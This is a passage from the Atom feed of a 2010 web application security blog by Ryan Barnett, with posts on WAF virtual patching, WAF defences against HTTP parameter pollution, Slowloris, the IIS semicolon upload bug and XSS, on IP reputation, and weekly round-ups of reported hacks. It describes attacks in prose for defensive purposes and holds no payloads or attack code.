performant.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-4447585016837876640?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/4447585016837876640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=4447585016837876640' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/4447585016837876640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/4447585016837876640'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/03/inline-vs-out-of-line-waf-deployments.html' title='Inline vs. Out-of-Line WAF Deployments'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-3179382446255445906</id><published>2010-03-09T11:10:00.004-05:00</published><updated>2010-03-09T11:14:48.469-05:00</updated><title type='text'>WAF Virtual Patching Workshop at Blackhat USA 2010</title><content type='html'>&lt;span style="font-style: italic;"&gt;Submitted by Ryan Barnett 03/09/2010&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:arial;"&gt;Just wanted to let everyone know that if you are headed to Blackhat USA  2010 this summer in Las Vegas, we have just added a 1-day workshop on the day before the  Briefings start -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;&lt;a href="http://www.blackhat.com/html/bh-us-10/training/bh-us-10-training_RB-WAFVirtPatch.html"&gt;http://www.blackhat.com/html/bh-us-10/training/bh-us-10-training_RB-WAFVirtPatch.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;&lt;br /&gt;In the workshop, we will be mainly discussing the "Virtual Patching"  concept of using a WAF (ModSecurity in this case) and we will use the OWASP WebGoat app as  the target.  In the workshop, we will talk virtual patching theory and then have  hands-on labs where we will show how to use Mod to virtually patch the various WebGoat  lessons.  As a side note - we will also have a section on the new CRS v2.0 when discussing negative  security models.  So, if you want to come and dive into the deep-end of the pool and have  fun using some of ModSecurity's advanced features (such as Lua and Content Injection) then  sign-up now!&lt;/span&gt;&lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;&lt;br /&gt;Brian Rectanus and I hope to see you all in Vegas!!!  :)&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-3179382446255445906?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/3179382446255445906/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=3179382446255445906' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/3179382446255445906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/3179382446255445906'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/03/waf-virtual-patching-workshop-at.html' title='WAF Virtual Patching Workshop at Blackhat USA 2010'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-5137576512418718205</id><published>2010-03-03T12:58:00.005-05:00</published><updated>2010-03-04T12:03:57.802-05:00</updated><title type='text'>Top 10 Hacks of 2009 and WAF Mitigations</title><content type='html'>&lt;em&gt;Submitted by Ryan Barnett 03/03/2010&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Jeremiah &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Grossman&lt;/span&gt; gave his “2010: A Web Hacking Odyssey – The Top Ten Hacks of the Year” talk here at &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;RSA&lt;/span&gt; this morning where he presented on the &lt;a href="http://jeremiahgrossman.blogspot.com/2010/01/top-ten-web-hacking-techniques-of-2009.html"&gt;Top 10 Hacks list&lt;/a&gt; gathered from readers of his blog. In preparation for his talk, he contacted me and ask if/when/how a web application firewall could be used to help mitigate these issues. What a great question! :) So, in case you were not able to attend his &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;RSA&lt;/span&gt; talk today, I am going to outline which items can been addressed by &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;WAFs&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a style="FONT-WEIGHT: bold" href="http://blog.mindedsecurity.com/2009/05/http-parameter-pollution-new-web-attack.html"&gt;&lt;em&gt;HTTP Parameter Pollution (&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;HPP&lt;/span&gt;)&lt;/em&gt;&lt;/a&gt;&lt;em&gt; Luca &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Carettoni&lt;/span&gt;, Stefano &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;diPaola&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;I actually had a previous &lt;a href="http://tacticalwebappsec.blogspot.com/2009/05/http-parameter-pollution.html"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;HPP&lt;/span&gt; post &lt;/a&gt;on my blog and in it I present one approach that a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;WAF&lt;/span&gt; can take to identify potential &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;HPP&lt;/span&gt; attacks and that is to learn whether or not having multiple parameters with the same name is normal for the specific URL resource and flagging when duplicates are present. This type of behavioral profiling of requests, that identify request construction deviations, is critical for identifying non-injection types of attacks. Most input validation is done on parameter payloads and not the request as a whole. This helps to identify some &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;HPP&lt;/span&gt; attack variants but it does not cover all examples attack vectors from the presentation. For the business logic attacks where a new parameter is added which may alter a mid-tier HTTP request, a learning &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;WAF&lt;/span&gt; should flag this as an anomalous parameter. Finally, for &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;HPP&lt;/span&gt; attacks that aim to split attack payloads across multiple parameters of the same name in order to bypass negative security filters, the only real way to attempt to identify these attacks is to mimic what the back-end web application will do with the request. In the case of ASP/ASP.NET, the app will take all of the payloads of parameters with the same name and then join them together into one payload (separated by commas). A &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;WAF&lt;/span&gt; would need to do this as well and then take the new consolidated payload and run it through the standard security checks looking for attack payloads. As a matter of fact, we have added some experimental rules to the &lt;a href="http://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;OWASP&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;ModSecurity&lt;/span&gt; Core Rule Set Project&lt;/a&gt; v2.0.6 to do just this.&lt;br /&gt;&lt;br /&gt;&lt;a style="FONT-WEIGHT: bold" href="http://ha.ckers.org/blog/20090617/slowloris-http-dos/"&gt;&lt;em&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;Slowloris&lt;/span&gt; HTTP &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;DoS&lt;/span&gt;&lt;/em&gt;&lt;/a&gt;&lt;em&gt; Robert Hansen, (additional credit for earlier discovery to &lt;/em&gt;&lt;a style="FONT-STYLE: italic" href="http://www.securityfocus.com/archive/1/456339/30/0/threaded"&gt;Adrian &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;Ilarion&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;Ciobanu&lt;/span&gt;&lt;/a&gt;&lt;em&gt; &amp;amp; Ivan &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;Ristic&lt;/span&gt; - “Programming Model Attacks” section of &lt;/em&gt;&lt;a href="http://www.apachesecurity.net/about/table-of-contents.html"&gt;&lt;em&gt;Apache Security&lt;/em&gt;&lt;/a&gt;&lt;em&gt; for describing the attack, but did not produce a tool)&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;The &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;DoS&lt;/span&gt; concept behind &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;Slowloris&lt;/span&gt; is important as many organizations don't truly understand the threat, how effective it can be and how difficult it may be to identify if you are being hit by it. This is not the typical "flooding" type of attack where the network or web app is being saturated by HTTP requests. In these scenarios, there are other network security/infrastructure devices that may be able to identify and respond. In the case of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;Slowloris&lt;/span&gt;, however, the web app is basically in a holding pattern waiting for the layer 7 HTTP request... So, how can a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;WAF&lt;/span&gt; help? In an earlier post I had entitled "&lt;a href="http://tacticalwebappsec.blogspot.com/2009/10/identifying-denial-of-service.html"&gt;Identifying &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;DoS&lt;/span&gt; Conditions &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;Through&lt;/span&gt; Performance Monitoring&lt;/a&gt;" I outlined how a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;WAF&lt;/span&gt; can help to identify a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;Slowloris&lt;/span&gt; type of attack by monitoring and learning the transactional metrics associated with the website content. Specifically, Breach's &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;WebDefend&lt;/span&gt; appliance learns the key metric of how long it takes for a client to complete sending the HTTP request data to each resource. This is graphically displayed in the Performance dashboard and it is easy to visually identify when there are request receiving issues.&lt;br /&gt;&lt;br /&gt;On a more tactical note for Apache - it is possible to identify a Slowloris type of attack by doing two things -&lt;br /&gt;&lt;br /&gt;1) Decrease the default Apache Timeout directive setting.  By default it is set to 300 seconds which makes it quite easy for Slowloris to DoS the site.  It should be lowered to something much smaller like 10-30 seconds.&lt;br /&gt;&lt;br /&gt;2) Use the httpd-guardian perl script from Ivan Ristic's Apache &lt;a href="http://www.apachesecurity.net/download/snapshot/apache_tools-snapshot.tar.gz"&gt;Security tools &lt;/a&gt;package with the ModSecurity &lt;a href="http://www.modsecurity.org/documentation/modsecurity-apache/2.5.12/modsecurity2-apache-reference.html#N10689"&gt;SecGuardianLog&lt;/a&gt; directive.  Having this external application monitoring the Apache logs allows it to identify these automated attacks and issue alerts and/or blacklist rules for IPTables.&lt;br /&gt;&lt;br /&gt;&lt;a style="FONT-WEIGHT: bold" href="http://soroush.secproject.com/downloadable/iis-semicolon-report.pdf"&gt;&lt;em&gt;Microsoft &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;IIS&lt;/span&gt; 0-Day Vulnerability Parsing Files (semi‐colon bug)&lt;/em&gt;&lt;/a&gt;&lt;em&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;Soroush&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;Dalili&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;The concept of &lt;a href="http://blog.modsecurity.org/2005/03/external-web-ap.html"&gt;Impedance Mismatch&lt;/a&gt; is a re-&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_33"&gt;occurring&lt;/span&gt; theme with these issues. Correctly parsing uploaded file information can be tricky as you must correctly interpret the file meta-data (such as the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;filename&lt;/span&gt;, etc....) in the same way as the web app. In this particular case, the attacker is tricking the application file uploading resource by appending a bogus file extension after a semi-colon however the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;IIS&lt;/span&gt; server will interpret it as an ASP page and execute it. In this case, a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;WAF&lt;/span&gt; must get the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;filename&lt;/span&gt; parsing correct and enforce allowable character-sets. The second part is to do some actual file upload inspection to identify what the uploaded file actually is. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;ModSecurity&lt;/span&gt; has the &lt;a href="http://www.modsecurity.org/documentation/modsecurity-apache/2.5.12/modsecurity2-apache-reference.html#N11D38"&gt;@&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;inspectFile&lt;/span&gt; operator&lt;/a&gt; which will temporarily dump the file attachment to disc and allow for AV scanning or some other custom logic. This can help to verify that the file type is actually what you are expecting.&lt;br /&gt;&lt;br /&gt;&lt;a style="FONT-WEIGHT: bold" href="http://stephensclafani.com/2009/05/26/exploiting-unexploitable-xss/"&gt;&lt;em&gt;Exploiting &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;unexploitable&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;XSS&lt;/span&gt;&lt;/em&gt;&lt;/a&gt;&lt;em&gt; Stephen &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;Sclafani&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;For &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;XSS&lt;/span&gt;, it is important to try and identify the root cause of the problem which is web apps that fail to properly track user supplied data and &lt;a href="http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet"&gt;apply appropriate output escaping&lt;/a&gt;. From a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;WAF&lt;/span&gt; perspective, it is possible to identify reflective &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;XSS&lt;/span&gt; attacks by mimicking the &lt;a href="http://www.blackhat.com/presentations/bh-dc-08/Chess-West/Presentation/bh-dc-08-chess-west.pdf"&gt;Dynamic Taint Propagation&lt;/a&gt; concept of tracking user supplied data and seeing where it is &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;mis&lt;/span&gt;used. In this case, we want to inspect any request data to see if it might have meta-characters that are used in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;XSS&lt;/span&gt; attacks and then capture the full parameter payloads. We then inspect the response body content to see if the same data is present. If it is, then the application is not properly output escaping user supplied data. I outlined this concept and showed some examples using &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;ModSecurity&lt;/span&gt; in a previous &lt;a href="http://www.blackhat.com/presentations/bh-dc-09/Barnett/BlackHat-DC-09-Barnett-WAF-Patching-Challenge-slides.pdf"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;Blackhat&lt;/span&gt; DC presentation&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a style="FONT-WEIGHT: bold" href="http://sirdarckcat.blogspot.com/2009/08/our-favorite-xss-filters-and-how-to.html"&gt;&lt;em&gt;Our Favorite &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;XSS&lt;/span&gt; Filters and how to Attack them&lt;/em&gt;&lt;/a&gt;&lt;em&gt; Eduardo Vela (&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;sirdarckcat&lt;/span&gt;), David Lindsay (&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;thornmaker&lt;/span&gt;)&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;Ahh&lt;/span&gt;, the fine art of filter evasions... Let me be clear, it is not possible to have 100% protection from &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_54"&gt;XSS&lt;/span&gt; payloads if you are using only a negative security model approach. There are just too many ways that an attacker can have functionally equivalent code and bypass signatures. The only hope that you really have is when your web application should not accept *any* html data. If your app has to allow html data but you want to filter out malicious payloads, then looking at something like &lt;a href="http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project"&gt;Anti-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;Samy&lt;/span&gt; &lt;/a&gt;is a good choice. One important note about filter evasions and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;XSS&lt;/span&gt; - most people believe that if an attacker is able to bypass the filter that he/she wins. In practice, that is not always the case. What I have seen is that the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;XSS&lt;/span&gt; payloads have to be munged up so much in order to bypass the filter that it no longer will execute in a target's browser. In an attempt to improve &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_58"&gt;XSS&lt;/span&gt; negative signatures, we launched the &lt;a href="http://www.modsecurity.org/demo/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"&gt;ModSecurity&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_60"&gt;CRS&lt;/span&gt; Demo page &lt;/a&gt;which allows the community to send attacks and see if they can evade the rules. This has been a great research tool to help us to improve our signatures in both &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_61"&gt;ModSecurity&lt;/span&gt; and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_62"&gt;WebDefend&lt;/span&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-5137576512418718205?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/5137576512418718205/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=5137576512418718205' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/5137576512418718205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/5137576512418718205'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/03/top-10-hacks-of-2009-and-waf.html' title='Top 10 Hacks of 2009 and WAF Mitigations'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-7168809959687918482</id><published>2010-03-02T16:10:00.006-05:00</published><updated>2010-03-02T17:20:13.276-05:00</updated><title type='text'>IP Reputation and WAFs</title><content type='html'>&lt;em&gt;Submitted by Ryan Barnett 03/02/2010&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;In an earlier post I warned against &lt;a href="http://tacticalwebappsec.blogspot.com/2010/02/beware-of-web-app-sec-puffery.html"&gt;web application security puffery&lt;/a&gt; - and it seems as though I am being hit by a tidal wave of it as I sit here at RSA this week...  The puffery usually starts off with the phrase "&lt;strong&gt;The Industry's first&lt;/strong&gt;..." and this is rarely the case.  In most instances, the concepts/theories of the new features have actually be around and in use by competitors for some time but have not been highlighted by marketing teams with huge conference fanfare and press releases. &lt;br /&gt;&lt;br /&gt;The latest example of this is another WAF vendor announcing their reputation-based capabilities.  Again - the issue is not that this feature is not useful but rather that it isn't the first in the industry.  Breach products have had the capability to do real-time blacklist lookups for years now and it is actually in use as part of the &lt;a href="http://projects.webappsec.org/Distributed-Open-Proxy-Honeypots"&gt;WASC Distributed Open Proxy Honeypot Project&lt;/a&gt;.  In the honeypot deployments, we are querying the RBLs at &lt;a href="http://www.spamhaus.org/"&gt;SpamHaus&lt;/a&gt; to identify SPAMMER source IPs and factoring this into our anomaly scores.&lt;br /&gt;&lt;br /&gt;The other "new" WAF industry feature is IP Forensics capabilities which factors in GeoIP data.  Once again, Breach products have had automatic GeoIP resolution for quite some time to help provide geographic context to the source of events.  Additionally, WebDefend has the capability to customize a 3rd party interface that allows the user to right-click on an event and query an external IP reputation website such as &lt;a href="http://www.dshield.org/"&gt;Dshield&lt;/a&gt; which provides a much wider view of attack data.  The helps to automate an analyst's initial incident response steps to identify if the source of attacks they are seeing is due to random scanning or if perhaps they are being targeted.  If Dshield reports a large number of records against the IP then that means that many other networks are reporting attacks from this source.  This would indicate that the local event data the WAF is reporting is most likely part of a larger scanning effort.  If, on the other hand, Dshield is not reporting any records for the IP, then this might indicate that the local WAF events are part of a targeted attack against your website.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-7168809959687918482?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/7168809959687918482/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=7168809959687918482' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/7168809959687918482'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/7168809959687918482'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/03/ip-reputation-and-wafs.html' title='IP Reputation and WAFs'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-2121953293710583425</id><published>2010-03-01T15:06:00.000-05:00</published><updated>2010-03-02T15:28:57.539-05:00</updated><title type='text'>Weekly Round-Up of Web Hacks, Attacks and Vulns (Monday, Mar 1)</title><content type='html'>&lt;em&gt;Submitted by Ryan Barnett 03/01/2010&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Hacks&lt;/strong&gt;&lt;br /&gt;&lt;a href="http://www.securecomputing.net.au/News/167971,nsw-government-alleges-transport-website-hacked.aspx"&gt;NSW Government alleges transport website hacked&lt;/a&gt; - sensitive information leakage.&lt;br /&gt;&lt;a href="http://goal.com/en/news/585/argentina/2010/02/26/1809096/argentina-coach-diego-maradonas-website-hacked"&gt;Argentina Coach Diego Maradona's Website Hacked&lt;/a&gt; - defacement&lt;br /&gt;&lt;a href="http://www.balkaninsight.com/en/main/news/26242/"&gt;Kosovo’s Presidency Website Hacked&lt;/a&gt; - defacement/downtime&lt;br /&gt;&lt;a href="http://www.theregister.co.uk/2010/03/02/nt_password_reset/"&gt;National Theatre hack forces password reset &lt;/a&gt;- unauthorized access/sensitive data leakage&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Attacks&lt;/strong&gt;&lt;br /&gt;&lt;a href="http://www.computerworld.com/s/article/9162118/Baidu_Registrar_incredibly_changed_our_e_mail_for_hacker?taxonomyId=17"&gt;Baidu: Registrar 'incredibly' changed our e-mail for hacker &lt;/a&gt;- domain hijacking&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-2121953293710583425?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/2121953293710583425/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=2121953293710583425' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/2121953293710583425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/2121953293710583425'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/03/weekly-round-up-of-web-hacks-attacks.html' title='Weekly Round-Up of Web Hacks, Attacks and Vulns (Monday, Mar 1)'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-9114399395370057234</id><published>2010-02-22T09:50:00.000-05:00</published><updated>2010-02-24T08:23:48.545-05:00</updated><title type='text'>Weekly Round-Up of Web Hacks, Attacks and Vulns (Monday, Feb 22)</title><content type='html'>&lt;span style="font-style: italic;font-family:arial;" class="Apple-style-span" &gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Submitted by Ryan Barnett 02/22/2010&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;b&gt;Hacks&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;a href="http://www.spamfighter.com/News-13929-Hackers-Manipulate-Gradercom-of-Twitter.htm"&gt;Hackers Manipulate Grader.com of Twitter&lt;/a&gt; - compromised Twitter tools in order to send out SPAM tweets.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 51, 51);font-family:'trebuchet ms',arial;font-size:medium;"  &gt;&lt;a href="http://www.scmagazineuk.com/falkland-islands-website-hacked-to-display-pro-argentinian-flag-and-messages/article/164314/"&gt;Falkland Islands website hacked to display pro-Argentinian flag and messages&lt;/a&gt; - &lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;defacement/hacktivism.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 51, 51);font-family:'trebuchet ms',arial;font-size:medium;"  &gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Attacks&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span" style="color: rgb(82, 82, 82); line-height: 20px;font-family:'Helvetica Neue',Helvetica,Arial,sans-serif;font-size:11px;"  &gt;&lt;h2  style="margin: 0px; padding: 0px; border-width: 0px; font-weight: normal; font-style: inherit; vertical-align: baseline; color: rgb(82, 82, 82);font-family:Georgia,Times,'Times New Roman',serif;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;a href="http://www.seopositive.com/blog/2010/02/23/security-companies-warn-google-on-spammers-targeting-google-buzz/"&gt;Security Companies Warn Google on Spammers Targeting Google Buzz&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;b&gt;Vulns&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" 